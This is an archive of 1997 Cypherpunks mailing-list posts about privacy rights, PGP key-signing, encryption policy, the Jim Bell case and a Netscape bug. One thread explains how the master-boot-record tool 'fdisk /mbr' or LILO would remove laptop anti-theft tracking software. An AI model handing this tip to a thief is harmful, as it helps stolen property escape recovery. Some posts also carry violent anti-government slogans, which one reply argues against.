|CyberCash, Inc.                      http://www.cybercash.com/    |
|207 Grindall Street   PGP 2.6.2: 61E2DE7FCB9D7984E9C8048BA63221A2 |
|Baltimore MD 21230-4103  T:(410) 727-4288  F:(410)727-4293        |
+------------------------------------------------------------------+






From nicol at highway1.com.au  Thu Jun 12 13:06:24 1997
From: nicol at highway1.com.au (Peter Nicol - VRL / BroomStick Productions)
Date: Fri, 13 Jun 1997 04:06:24 +0800
Subject: Access to Storage and Communication Keys et al
In-Reply-To: <19970612121314.48508@bywater.songbird.com>
Message-ID: <199706121952.DAA29669@hedgehog.highway1.com.au>




> 
> Secrecy is a tool, period.  Who is TruthMonger?  There are *no* 
> tools (at this abstract level) that are used exclusively by the 
> state.  Also, the raw material of politics is human nature, and politics 
> permeates all human activity, whether connected to the state or not. 
> 
> > > > Two daughters of a silk merchant live in Kyoto,
> > > > The elder is twenty, the younger, eighteen.
> > > > A soldier may kill with his sword,
> > > > But these girls slay men with their eyes.
> > > 
> > > Basho?
> > Ummm . . . My copy of "Zen Flesh, Zen Bones" only attributes this to 
> > "A well known Japanese poet".  Do you know anythang?
> 
> I no nothing.
> 
> Many years ago I was heavily into zen -- I have a well-worn copy of
> Zen Flesh, Zen Bones at home.  Further exploration lead me to
> Chuang-tzu:
> 
> 	http://songbird.com/gc/river/chuangtzu.html
> 

danke

> Perhaps I saw that poem in ZFZB.  But I have a couple of collections
> of Japanese poetry at home, as well as a very nice edition of Basho's
> "Journey to the North", or whatever it's called (it gets translated
> different ways, and I am confused...)
> 
> > current project: www.iinet.net.au/~ratty/legends
> 
> This has moved...

Not only that, but the site and the client SUCK.  Oh how I hate 
capitalism.  Even when I try to be one of the "winners" and involve 
myself in it, I still hate it.  etc etc rant on 


> -- 
> Kent Crispin				"No reason to get excited",
> kent at songbird.com			the thief he kindly spoke...
> PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
> http://songbird.com/kent/pgp_key.html
> 

Thankyou for your posts.  It pleases me to see that a bunch of crypto 
intellectuals will take my posts seriously.  I have been interested 
in this topic for a while and only recently got my shit together 
enough to understand how to subscribe to a mailing list.  The last 
time I used PGP was when it was in DOS and I found it a hassle.  Does 
that make me a clueless newbie?

Ummm . . . my training was in Non Violent Action (NVA).  This is 
being used by ppl at the moment to protect Gibblett Forest from being 
clear fell logged by a (IMNSHO) corrupt "Conservation and Land 
Management" (CALM) authority in Western Australia.

As a way of countering destructive paranoia, we have developed a 
doctrine of "secrecy is a tool of the state".  (I am well aware of 
the limitations of Doctrine as a logical formal system godelwise).
To this end, we have NO SECRETS.  Everything we do is "public 
domain", ie, everyone, including our "enemies" gets to know it.  In 
practice, this is simple, ie Civil Disobedience.  You wanna log the 
trees, we gonna stop you, aint no big secret. We even go to the 
lengths of notifying the authourites, ie CALM/police of our 
strategies and telling them who will be doing an arrestable action 
on a particular day.  At the moment we have 3 ppl up Karri trees on 
platforms.

I find it very empowering.  I see no need for secrets.

Sure, secrecy is a tool.  I ask these questions:

1. Does it work.
2. Is it useful.  (also known as the Doctrine of Utility)
3. Does it make me happy.

I usually use these to analyse behaviour patterns, but hey . . .

1. Hmmmm . . . It kinda works, but it is a big hassle.  Then you 
gotta worry about looking like you are trying to hide somethang and 
thereby attracting attention.  Also, you get to worry about IF it 
does actually work and is uncrackable/contains no back door etc.

2. If you are paranoid or cannot organize yourself so that secrecy is 
unneccessary.

3. I am not sure WHAT makes me happy, but secure communications and 
commerce are not high on my list of priorities.  Perhaps an end to 
paranoia and capitalism that REQUIRE secure comms would make me 
happy.

Anyway . . .

Thanx for the pointer

Neter Picol
Violence is the last refuge of the Incompetent - Assimov (?)
A week is long time in crypto politics






Pete Nicol
Global Media Magnet
nicol at iap.net.au



BroomStick Productions
VRL - the Virtual Record Label
(+61 9) 335 9490   fax (+61 9) 335 9508
nicol at iap.net.au
broomstick at occtech.com.au

Current Project: www.iinet.com.au/~ratty/legends






From leegib at MICROSOFT.com  Thu Jun 12 13:15:38 1997
From: leegib at MICROSOFT.com (Lee Gibbon)
Date: Fri, 13 Jun 1997 04:15:38 +0800
Subject: FYI: release of "For the Record: Protecting Electronic Health Information"
Message-ID: <51194C00BD39CF11839000805F385DB204587083@RED-65-MSG.dns.microsoft.com>



On-line versions appear to be available at this site as well as means to
buy it.

http://www.nap.edu/bookstore/enter2.cgi?0309056977

For the Record: Protecting Electronic Health Information 
by:   Committee on Maintaining Privacy and Security in Health Care
Applications of the National Information Infrastructure, National
Research Council
ISBN 0-309-05697-7; 1997, 288 pages

"...This book makes practical detailed recommendations for technical and
organizational solutions and national-level initiatives. For the Record
describes two major types of privacy and security concerns that stem
from the availability of health information in electronic form: the
increased potential for inappropriate release of information held by
individual organizations (whether by those with access to computerized
records or those who break into them) and systemic concerns derived from
open and widespread sharing of data among various parties. The committee
reports on the technological and organizational aspects of security
management, including basic principles of security; the effectiveness of
technologies for user authentication, access control, and encryption;
obstacles and incentives in the adoption of new technologies; and
mechanisms for training, monitoring, and enforcement...."






From jim.burnes at ssds.com  Thu Jun 12 14:18:35 1997
From: jim.burnes at ssds.com (Jim Burnes)
Date: Fri, 13 Jun 1997 05:18:35 +0800
Subject: Feds have lost battle against encryption
In-Reply-To: <3.0.2.32.19970612152540.00be65c0@cybercash.com>
Message-ID: 





On Thu, 12 Jun 1997, Carl Ellison wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> At 09:16 AM 6/12/97 -0700, Phil Karn wrote:
> >Somebody really needs to say the words "distributed computing" to
> >Congress. Perhaps that will be the major benefit of the DES Challenge
> >project when (not if) it succeeds.
> 
> Too bad there isn't a simple word for "a computer in every vending machine, 
> VCR and even styrofoam coffee cup, capable of doing strong crypto".
> 
ubiquitious

but maybe that isnt simple







From ravage at EINSTEIN.ssz.com  Thu Jun 12 15:15:51 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Fri, 13 Jun 1997 06:15:51 +0800
Subject: NEW TRAVEL INFO -- Antigua (fwd)
Message-ID: <199706122142.QAA11672@einstein.ssz.com>



Forwarded message:
>From owner-travel-advisories at stolaf.edu Thu Jun 12 16:39:22 1997
Date: 10 Jun 97 11:31:44 EDT
From: owner-travel-advisories 
To: travel-advisories at stolaf.edu
Subject: NEW TRAVEL INFO -- Antigua
Message-ID: <970610153144_76702.1202_CHN44-1 at CompuServe.COM>
Precedence: bulk

STATE DEPARTMENT TRAVEL INFORMATION - Antigua & Barbuda
============================================================
Antigua and Barbuda - Consular Information Sheet
 June 9, 1997

Country Description:  Antigua and Barbuda is a developing island 
nation.  Tourism facilities are widely available.

Entry Requirements:  A valid passport or birth certificate and 
picture ID such as a drivers license are required of U.S. citizens 
entering Antigua and Barbuda.  A return ticket is sometimes 
requested.  Immigration officials are strict about getting exact 
information about where visitors are staying.  There is no fee for 
entering the country, but there is a $13.00 departure tax.  For 
further information on entry requirements, travelers can contact the 
Embassy of Antigua and Barbuda, 3216 New Mexico Avenue, N.W., 
Washington, D.C.  20016, telephone (202) 362-5122, or the Consulate 
of Antigua and Barbuda in Miami.

Medical Facilities:  Medical care is limited.  Doctors and 
hospitals often expect immediate cash payment for health services.  
U.S. medical insurance is not always valid outside the U.S.  In some 
cases, supplemental medical insurance with specific overseas 
coverage, including provision for medical evacuation, has proven 
useful.  For additional health information, travelers may contact 
the Centers for Disease Control and Prevention's international 
travelers hotline at (404) 332-4559, Internet:  http://www.cdc.gov/.

Crime Information:  Violent crimes and armed assaults have been 
perpetrated against tourists.  Petty street crime also occurs, and 
valuables left unattended on beaches are subject to theft.

The loss or theft of a U.S. passport overseas should be reported to 
the local police and the nearest U.S. embassy or consulate.  
Retaining a copy of the police report may facilitate return travel 
to the U.S.  A lost or stolen birth certificate and/or driver's 
license generally cannot be replaced outside the U.S.

U.S. citizens can refer to the Department of State's pamphlet "A 
Safe Trip Abroad," which provides useful information on guarding 
valuables and protecting personal security while traveling abroad.  
Both this pamphlet and "Tips for Travelers to the Caribbean" are 
available from the Superintendent of Documents, U.S. Government 
printing Office, Washington, D.C.  20402.

Drug Penalties:  U.S. citizens are subject to the laws of the 
country in which they are traveling.  Penalties for possession, use 
and trafficking in illegal drugs are strict, and convicted offenders 
can expect lengthy jail sentences and heavy fines.

Aviation Oversight:  As a result of an assessment conducted by the 
U.S. Federal Aviation Administration (FAA) in July 1996, the FAA has 
found the government of Antigua and Barbuda's civil aviation 
authority not to be in compliance with international aviation safety 
standards for oversight of Antigua and Barbuda's air carrier 
operations.  While consultations to correct the deficiencies are 
ongoing, Antigua and Barbuda's carriers are permitted to conduct 
limited operations to the U.S. subject to heightened FAA 
surveillance.  Based on the FAA's determination, the Department of 
Defense does not permit U.S. military personnel to use carriers from 
Antigua and Barbuda for official business except for flights 
originating from or terminating in the U.S., or in extenuating 
circumstances.  For further information, travelers may contact the 
Department of Transportation at 1-(800) 322-7873.

Traffic Safety/Road Conditions:  Driving in Antigua and Barbuda is 
on the left-hand side of the road, as in the United Kingdom.  Roads 
are narrow and in poor condition.  There is relatively little police 
enforcement of traffic regulations.  The condition of the roads and 
the speed at which many persons drive lead to serious traffic 
accidents.  More detailed information on roads and traffic safety 
can be obtained from the Antigua Tourist Board, tel. (268) 462-0480, 
or the Director General of Tourism, tel. (268) 462-1005.

Embassy Location/Registration:  U.S. citizens may register with the 
U.S. Consular Agent, Hospital Hill, English Harbour.  The mailing 
address is c/o U.S. Consular Agent, P.O. Box 664, St. John's, 
Antigua.  The telephone number is (268) 463-6531, Fax (268) 
460-1569, e-mail (no caps) ryderj at candw.ag.  The hours of operation 
are Monday-Friday, 9:00am-4:00pm. (Please call for appointment.)  
U.S. citizens may also contact the Consular Section of the U.S. 
Embassy in Bridgetown, Barbados, which is located in the American 
Life Insurance Company (ALICO) Building, Cheapside, tel. (246) 
431-0225, which has consular jurisdiction over Antigua and Barbuda.  
The hours of operation are Monday-Friday, 8:00am-4:00pm.

 No. 97-098

This replaces the Consular Information Sheet dated March 15, 1996 
to include entry requirements information, the CDC Internet address, 
and a section on traffic safety/road conditions.


----- ----- ----- ----- ----- ----- ----- ----- ----- ----- ----- ----- -----
The "travel-advisories at stolaf.edu" mailing list is the official Internet and
BITNET distribution point for the U.S. State Department Travel Warnings and
Consular Information Sheets.  To unsubscribe, send a message containing the
word "unsubscribe" to:	travel-advisories-request at stolaf.edu

Archives of past "travel-advisories" postings are available at the URL:
"http://www.stolaf.edu/network/travel-advisories.html" or via Gopher:
gopher.stolaf.edu, Internet Resources/US-State-Department-Travel-Advisories






From declan at well.com  Thu Jun 12 16:11:53 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 13 Jun 1997 07:11:53 +0800
Subject: There's no general right to privacy -- get over it, from Netly
Message-ID: 



**************

http://pathfinder.com/netly/editorial/0,1012,1050,00.html

The Netly News
June 12, 1997

Privacy? What Privacy?
by Declan McCullagh (declan at well.com)

     I have a confession to make: Unlike many of my
civil libertarian colleagues, I believe you have no
general right to privacy online. Sure, you have the
right to protect your personal data, but you shouldn't
be able to stop someone else from passing along that
information if you let it leave your computer. That's
your responsibility.

     So you can imagine my dismay when I learned I'd
be sitting through four full days of Federal Trade
Commission hearings this week on Internet privacy. The
commission's goal? To define "privacy rights" for the
Net -- and to be perhaps the first federal agency to
regulate it. The commissioners are being spurred on by
consumer groups that want the government to bar firms
from collecting information about your online
wanderings. Businesses say that such a rule would
stifle Internet advertising and commerce and have
recently released a flurry of self-regulatory
proposals.

[...]

     Which is one reason why I think there is no
general right to privacy -- at least as the consumer
groups and privacy advocates describe it. Rotenberg
likes to say "Privacy is not an absolute right, but a
fundamental right." But in truth, privacy is not a
right but a preference: Some people want more of it
than others.

     Of course there's an essential right to privacy
from the government. (Beware government databases:
Nazis used census data in Germany and Holland to track
down and eliminate undesirables.) You also have a
right to privacy from Peeping Toms.

     But -- no matter how much big-government
fetishists want this to be true -- you don't own
information about yourself. After all, journalists are
able to investigate someone's private life and publish
an article -- even if it contains embarrassing
personal details. This is a good thing: Any
restrictions would weaken the First Amendment. Then
there's gossip, which is a time-honored way of trading
in others' personal information. "The reindeer-herding
Lapps, for whom theft of livestock is easy and common,
gossip about who has stolen which animal and where
they are," sociologist Sally Engle Merry writes.

[...]


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/







From ravage at EINSTEIN.ssz.com  Thu Jun 12 16:20:30 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Fri, 13 Jun 1997 07:20:30 +0800
Subject: There's no general right to privacy -- get over it, from Netly (fwd)
Message-ID: <199706122248.RAA11848@einstein.ssz.com>



Hi,

Forwarded message:

> Date: Thu, 12 Jun 1997 18:58:37 -0400
> From: Declan McCullagh 
> Subject: There's no general right to privacy -- get over it, from Netly

> likes to say "Privacy is not an absolute right, but a
> fundamental right." But in truth, privacy is not a
> right but a preference: Some people want more of it
> than others.

A right is not a question of popularity or amplitude, it is a question of
existance. It is or it isn't. Some people want more guns than others
(obvious even to you) so you seriously hold that there is no fundamental
Constitutional right to own firearms? Or speech, we don't all want to use it
to the same amount, we therefore don't have a right to free speech? Or (oh
my god!) crypto, we don't all want to use it to the same degree therefore we
don't have a right to use crypto?

Serious boo-boo.

I hope it ain't gone to print yet...

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From nobody at secret.squirrel.owl.de  Thu Jun 12 17:11:01 1997
From: nobody at secret.squirrel.owl.de (Secret Squirrel)
Date: Fri, 13 Jun 1997 08:11:01 +0800
Subject: Feds have lost battle against encryption
In-Reply-To: <199706121616.JAA08347@servo.qualcomm.com>
Message-ID: <19970612231926.4258.qmail@squirrel.owl.de>



Phil Karn  writes:

> Somebody really needs to say the words "distributed computing" to
> Congress. Perhaps that will be the major benefit of the DES Challenge
> project when (not if) it succeeds.

I don't think the issue with china is key cracking.  The Chinese
supposedly used the supercomputers for weapons design and simulation,
which require significanly finer grained parallelism (and hence
lower-latency communication) than key cracking.






From jya at pipeline.com  Thu Jun 12 17:19:58 1997
From: jya at pipeline.com (John Young)
Date: Fri, 13 Jun 1997 08:19:58 +0800
Subject: Jim Bell 5
Message-ID: <1.5.4.32.19970613000419.00925514@pop.pipeline.com>



I spoke briefly this afternoon with Kelly Miller, the
clerk of the district court handling Jim's case.

She said that the USA, Jim and Jim's attorney agreed
to waive (extend) the deadline for speedy indictment 
so that additional material could be assembled by all 
parties.

And that no action will be taken until on or about June
30; Jim will remain in jail until then.

Jim's attorney, Peter Avenia, confirmed this but would 
not comment further except in answer to my question 
about getting in touch with Jim said that he had advised 
Jim not to make statements to anyone.

-----

Kelly Miller: 1-253-593-6754

Peter Avenia: 1-253-593-6710







From nfn04017 at gator.naples.net  Thu Jun 12 17:22:04 1997
From: nfn04017 at gator.naples.net (Pilgrim)
Date: Fri, 13 Jun 1997 08:22:04 +0800
Subject: Democratic Assassination
Message-ID: 



>  Instead of putting child pornographers in prison we will put
>cryptographers and remailer operators in prison. Instead of
>confiscating the assets of drug czars will confiscate the assets
>of people who have a kid who smokes a joint once a week. Instead
>of censoring legislation which limits our freedom and privacy
>we will censor literature which proposes democratic assassination
>of those who oppress us.

Whoa there bud! I have a nagging feeling that democratic assassination is a
large can of worms than we realize.

There is something fundamentally wrong with a society that is built upon
the notion that those people who do and say unpopular things deserve death.
Yet that is exactly what a system of "democratic" assassinations would do,
enable a large group of people to intimidate and subvert a smaller group of
people.

So, for the sake of argument, let this system of anonymous democratic
assassination come to pass...then what? Utopia? Maybe....

But let's say that someone comes along later, proposing a way of living
that is radically different from the norm. Exhibiting a nasty
characteristic that has been inherent in the human races for eons....even
before the rise of large sprawling governments....the majority of people
decide that they don't like this troublemaker....through the process of
democratic assassination...this person is now dead. Forget even the shade
of a possibility that this person may have been right...that his way of
living ***may*** have been better than the norm. Right and wrong don't
matter. Popularity and the "mood of the crowd" do...this person said
somethig unpopular, and is dead because of it.

Freedom of speech?

Let's say that a group of people suddenly become unpopular. Perhaps times
are tough and the majority need a scapegoat. Maybe this group of people
have been long oppressed and are finally fighting back. Through a system of
democratized assassination....their leaders are dead....with no one willing
to take their place (out of fear)....maybe a few other random people are
killed just to really get these people quaking in their boots.

Or let's take it one step further. If democratic assassination is good, why
not democratic genocide. Let the people take a vote, and if the scale tips
the right way, an entire group of people need killed.

Is this good?

Let's take a step further. Going back to my first example, let's say that
someone comes along proposing a new way to live, and many people take to it
and follow this person. Unfortunately, this person has just happened to
make a few powerful enemies. Through a system of "democratic"
assassination, this person is now dead...and there is no way to catch
his/her killers.

Is this even democratic?

Even if digital cash, anonymous remailers and strong encryption could
enable us to set up a democratic system of assassination (which it
couldn't)...I still wouldn't want to live in a society where killing is
democratized...I do not want to live in a society where people can
abitrarily take a vote on whether I should live or die....

Just because a majority of people like an idea, does that make the idea any
more right or any less wrong?

I (and I would wager you) do not want to live in a society where it is
dangerous...even life threatening to be unpopular, and to go against the
flow. I know that I hold fast to ideas and beliefs which are hardly
considered popular....the only reason I'm not socially scorned, right now,
is because I'm very diplomatic about them....

You wrote a lot about "The Machine," as if it was some real, intelligent,
calculating conscience. It is not. While I do not doubt that "The Machine"
exists, it is not something that is tangible....it is a system...a way of
doing things...a set of entrenched powers...it is not a person.

"The Machine" won't be defeated by killing. Its weakness is far more
subtle..and takes a lot longer to exploit....but that's another story...for
another listserv.

That IRS guy that you want to kill? Sure, he might work for "The Machine,"
but killing him won't solve anything. Hating him won't solve anything. It
might be a short term fix, but there will be others. And perhaps, if you
stop and look at that IRS guy whom you hate so much...you might find that
	1) He has parents, maybe even a wife and children, all of whom love him
	2) He gets tired and night, and has to use the bathroom
	3) He gets happy, sad, lonely, depressed,

	He's another human being....just like yourself...indeed, the only
	difference between himself and yourself is how he makes a living.

And maybe...just maybe...he is just as big a victim of "The Machine" as you
are.

Of course, I'm not accusing anyone of wanting to kill anyone...or hating
anyone. I'm just throw this out because it is food for thought.

You write so much about "The Machine" causing division and hatred between
people.

Perhaps "The Machine" has manipulated you more than you realize.

Justice rarely comes out of hatred.

Regards,
Pilgrim

Regards,
Pilgrim







From ravage at einstein.ssz.com  Thu Jun 12 18:05:12 1997
From: ravage at einstein.ssz.com (Jim Choate)
Date: Fri, 13 Jun 1997 09:05:12 +0800
Subject: Burn flag = unconstitutional
Message-ID: <199706130033.TAA12063@einstein.ssz.com>



Forwarded message:

> House Passes Constitutional Amendment On Flag Desecration
> 
>    By Darlene Superville
>    Associated Press Writer
>    
>    WASHINGTON (AP) -- The House voted overwhelmingly today for a proposed
>    constitutional amendment against flag desecration, an issue pushed by
>    conservatives since Republicans took over Congress in 1995.
>    
>    The House tally, held two days before Flag Day, was 310-114.






From ravage at EINSTEIN.ssz.com  Thu Jun 12 18:07:50 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Fri, 13 Jun 1997 09:07:50 +0800
Subject: Internet - Good & Bad [CNN]
Message-ID: <199706130036.TAA12117@einstein.ssz.com>



Forwarded message:

>    June 12, 1997: 4:28 p.m. ET
>    
>    Time NEW YORK (CNNfn) - New technologies for video transmission over
>    the Internet, such as digital video discs (DVDs), represent remarkable
>    potential but also pose an inherent threat to global intellectual
>    property rights, one of the most powerful media executives in the
>    nation said.
>    [INLINE] The Net represents "promise and penalty," Frank Biondi,
>    chairman and chief executive of MCA's Universal Studios, told the
>    audience of the third annual Price Waterhouse media conference here.
>    [INLINE] "At some time, we'll be able to transmit video real-time"
>    over the World Wide Web through the use of technology such as DVDs,
>    Biondi said. However, to succeed, media companies increasingly need to
>    address two principle challenges: protecting intellectual property and
>    promoting the "brand," he added.
>    [INLINE] "By and large, encryption can be broken. That's pretty
>    scary," Biondi said.






From ravage at EINSTEIN.ssz.com  Thu Jun 12 18:08:21 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Fri, 13 Jun 1997 09:08:21 +0800
Subject: Crackdown on spam? [CNN]
Message-ID: <199706130037.TAA12183@einstein.ssz.com>



Forwarded message:

>                     FEDS TO CRACK DOWN ON JUNK E-MAIL FRAUD
>                                        
>      
>      
>      June 12, 1997
>      Web posted at: 8:16 p.m. EDT (2016 GMT)
>      
>      WASHINGTON (AP) -- Federal regulators put the junk e-mailindustry on
>      notice Thursday that businesses will be punished ifthey put false
>      information in unsolicited mail they send tomillions of Internet
>      users.
>      
>      The Federal Trade Commission also asked the industry to come upwith
>      ways to stem the flood of commercial mail clogging theInternet and
>      creating bottlenecks that make it difficult to getonline.
>      
>      The FTC said it would ask industry groups to supply lists
>      ofjunk-mail senders to help in the new drive to detect
>      fraud.Penalties a junk mailer might face for breaking the fraud law
>      couldinclude an injunction to stop the illegal practice up to tens
>      ofthousands of dollars in fines for a repeat offender.






From ravage at EINSTEIN.ssz.com  Thu Jun 12 18:11:27 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Fri, 13 Jun 1997 09:11:27 +0800
Subject: Major Netscape Bug [CNN]
Message-ID: <199706130039.TAA12257@einstein.ssz.com>



Forwarded message:

>    From Correspondent Steve Young
>    June 12, 1997: 6:58 p.m. ET
>    
>    Netscape unveils Netcaster - April 15, 1997
>    
>    Princeton team finds third Netscape bug - May 20, 1996
>    
>    Netscape NEW YORK (CNNfn) - A serious new flaw that affects all
>    versions of Netscape Communications Corp.'s popular Navigator Internet
>    browser software -- including the final test version of its
>    Communicator Suite released Wednesday -- has been uncovered by a
>    Danish software firm, CNNfn has learned.
>    
>    The bug was reported by Cabocomm, a software company located about 100
>    miles west of Copenhagen, Denmark. The bug makes it possible for
>    Web-site operators to read anything stored on the hard drive of a PC
>    logged on to the Web site.






From nexus at eskimo.com  Thu Jun 12 18:48:06 1997
From: nexus at eskimo.com (Brian Lane)
Date: Fri, 13 Jun 1997 09:48:06 +0800
Subject: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: 
Message-ID: <33a6a477.41847662@mail.eskimo.com>



On Thu, 12 Jun 1997 11:57:57 -0400 (EDT), you wrote:

>(And yes I have that same sentiment about the LoJack car transponder, and
>the EZ-Pass toll paying system, and cell phones.  Each of these
>technologies can report on your whereabouts and thus pinpoint your
>location at any given time.  They're all invasion of privacy things that

  I agree. That's why I like my solution to finding my stolen car
better. A cellphone, GPS, and a little bit of glue electronics. If my
car is stolen, I call the cellphonein the trunk (or inside body panel,
etc.) enter my secret code and it reads out the current locaiton from
the GPS until I hang up on it.

  Brian

----------------------------------------------------------------------------------
Brian C. Lane             http://www.eskimo.com/~nexus                      KC7TYU
------------------  96B9 C123 5C90 BECC  6A1F 7DC6 4F2B A26E  --------------------






From nexus at eskimo.com  Thu Jun 12 18:48:11 1997
From: nexus at eskimo.com (Brian Lane)
Date: Fri, 13 Jun 1997 09:48:11 +0800
Subject: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: 
Message-ID: <33a5a391.41617983@mail.eskimo.com>



On Thu, 12 Jun 1997 07:50:49 -0500 (CDT), you wrote:

>On Wed, 11 Jun 1997, Raymond Mereniuk wrote:
>
>> This has been discussed on this list before, about 1 year ago.  The 
>> Computrace software is installed on a place on the hard drive where 
>> DOS utilities like Fdisk and Format can not get at it.  This is the 
>> same as Diskmanager Version 7 or higher, Fdisk and Format will not 
>> remove this version of Diskmanager.
>
>There you go, assuming DOS is the centre of the universe again.
>I haven't seen this, but there's a pretty good chance that reformatting
>the hard disk as a Linux partition and installing LILO would clean
>that nuisance right up.  (If it didn't, you could probably just
>use your favorite disk editor to find the Computrace code and zero
>it out.)
>
>OC this is all above the means of the average laptop thief, but the
>dedicated ones probably have a staff techie.

  I think that a simple fdisk /mbr should take care of the problem.
The drive is booted from the master boot record. There is no way
around this without a bios change. LILO overwrites the MBR with the
LILO program to boot Linux (and other OSes on the system) so it too
would defeat their software.

  Doesn't sound like too much of a solution when you're dealing with
even a slightly knowledgable thief.

  Brian

----------------------------------------------------------------------------------
Brian C. Lane             http://www.eskimo.com/~nexus                      KC7TYU
------------------  96B9 C123 5C90 BECC  6A1F 7DC6 4F2B A26E  --------------------






From tcmay at got.net  Thu Jun 12 18:51:10 1997
From: tcmay at got.net (Tim May)
Date: Fri, 13 Jun 1997 09:51:10 +0800
Subject: Photo ID is not needed for key signings....
In-Reply-To: <199706120709.AAA05445@hyperion.boxes.org>
Message-ID: 



At 8:31 AM -0700 6/12/97, Bill Frantz wrote:
>IMHO - What you are really signing is the binding between the data
>associated with the key (usually an email address) and the key.  You are
>saying that the secret key holder is (one of the) person(s) who has access
>to that account, and not some man in the middle in the middle.  If you ask
>to see Lucky Green's, or Futplex's, or Black Unicorn's picture ID, you will
>either see a forgery or an ID issued by an organization not interested in
>birth certificates.

I am fairly often accused of being arrogant, of being a "know it all." I
have never claimed to be an expert on PGP, and I certainly am not. I use
the MacPGP version which became available in '92, and will eventually star
t working with PGP 5.x (which I have, and have installed, but not spent
much time with).

I generated a 1024-bit key in '92, right after PGP 2.0 appeared, and
participated in a key signing, etc., shortly thereafter. It happened that
my ISP at that time had just changed from Portal to Netcom. (Now it's
"got.net", a fairly typical local provider of non-shell ISP services.)

I can't understand (hint: someone please explain) why I get so many
requests to send the "tcmay at got.net" key, as opposed to the
"tcmay at netcom.com" key so widely available. I thought the key signings were
about the Person Widely Known as "Tim May" being associated with the key
signed, not some temporary e-mail address.

My binding was between the key, and "me." Those who wanted to send messages
to "me" could assume that only "I" could read it. The address
"tcmay at netcom.com" vs. "tcmay at got.net" is not central. Any concern that
"tcmay at got.net" is somehow not the keyholder of that '92 key is a nonissue.

If the keyserver databases focus on such ephemera as the current ISP
account, then they are focussing on the wrong things.

Am I missing something central?

--Tim May, whose e-mail deliverer has changed a few times, but whose key
remains constant. Which is more important?




There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From ichudov at Algebra.COM  Thu Jun 12 19:24:27 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Fri, 13 Jun 1997 10:24:27 +0800
Subject: Photo ID is not needed for key signings....
In-Reply-To: 
Message-ID: <199706130215.VAA07375@manifold.algebra.com>



Tim May wrote:
> I can't understand (hint: someone please explain) why I get so many
> requests to send the "tcmay at got.net" key, as opposed to the
> "tcmay at netcom.com" key so widely available. I thought the key signings were
> about the Person Widely Known as "Tim May" being associated with the key
> signed, not some temporary e-mail address.

You get so many requests to send the "tcmay at got.net" key because certain
pgp-aware email programs can encrypt mail using the recipient address,
if it is in the sender's keyring. Therefore, it is more convenient if
the addressee's email address is in the user id field.

	- Igor.






From whgiii at amaranth.com  Thu Jun 12 20:36:40 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Fri, 13 Jun 1997 11:36:40 +0800
Subject: Photo ID is not needed for key signings....
In-Reply-To: 
Message-ID: <199706130328.WAA05249@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 06/12/97 
   at 06:47 PM, Tim May  said:

>At 8:31 AM -0700 6/12/97, Bill Frantz wrote:
>>IMHO - What you are really signing is the binding between the data
>>associated with the key (usually an email address) and the key.  You are
>>saying that the secret key holder is (one of the) person(s) who has access
>>to that account, and not some man in the middle in the middle.  If you ask
>>to see Lucky Green's, or Futplex's, or Black Unicorn's picture ID, you will
>>either see a forgery or an ID issued by an organization not interested in
>>birth certificates.

>I am fairly often accused of being arrogant, of being a "know it all." I
>have never claimed to be an expert on PGP, and I certainly am not. I use
>the MacPGP version which became available in '92, and will eventually
>star t working with PGP 5.x (which I have, and have installed, but not
>spent much time with).

>I generated a 1024-bit key in '92, right after PGP 2.0 appeared, and
>participated in a key signing, etc., shortly thereafter. It happened that
>my ISP at that time had just changed from Portal to Netcom. (Now it's
>"got.net", a fairly typical local provider of non-shell ISP services.)

>I can't understand (hint: someone please explain) why I get so many
>requests to send the "tcmay at got.net" key, as opposed to the
>"tcmay at netcom.com" key so widely available. I thought the key signings
>were about the Person Widely Known as "Tim May" being associated with the
>key signed, not some temporary e-mail address.

>My binding was between the key, and "me." Those who wanted to send
>messages to "me" could assume that only "I" could read it. The address
>"tcmay at netcom.com" vs. "tcmay at got.net" is not central. Any concern that
>"tcmay at got.net" is somehow not the keyholder of that '92 key is a
>nonissue.

>If the keyserver databases focus on such ephemera as the current ISP
>account, then they are focussing on the wrong things.

>Am I missing something central?

Well yes, :)

There are different levels of trust and authentication in the web of
trust.

Many (most?) people using PGP will never physically meet and authenticate
keys. Their security model does not require this. Instead what PGP is used
for is a verification method that I am talking to the same person at
tcmay at got.net in my correspondance even though I do not know who he is
physically. So over a period of time of exchanging PGP signed messages I
can authentincate that all of these messages are all comming from
tcmay at got.net who claims to be Tim May. I know that this is not much but
at least I know it's not Dimitri or someone else forging the messages from
that account (though I don't know if all this time tcmay at got.net has
really been one of Dimitri's accounts and that Tim May is really dead).

I also use PGP to sign all my distributed source code & binaries for my
programs. I also sign all my posts. My sharware customers can verify that
the software if from me and unmodified and can also verify any public post
regarding the software. Depending on how concerned on this they may be
satisfied that seeing the code signed with the same key that I use for my
mailing list and in all my public post as enough authentication that the
code is valid (though there is nothing preventing them from taking
stronger methods of authentication upto and including flying down to FL
and meeting me in person).

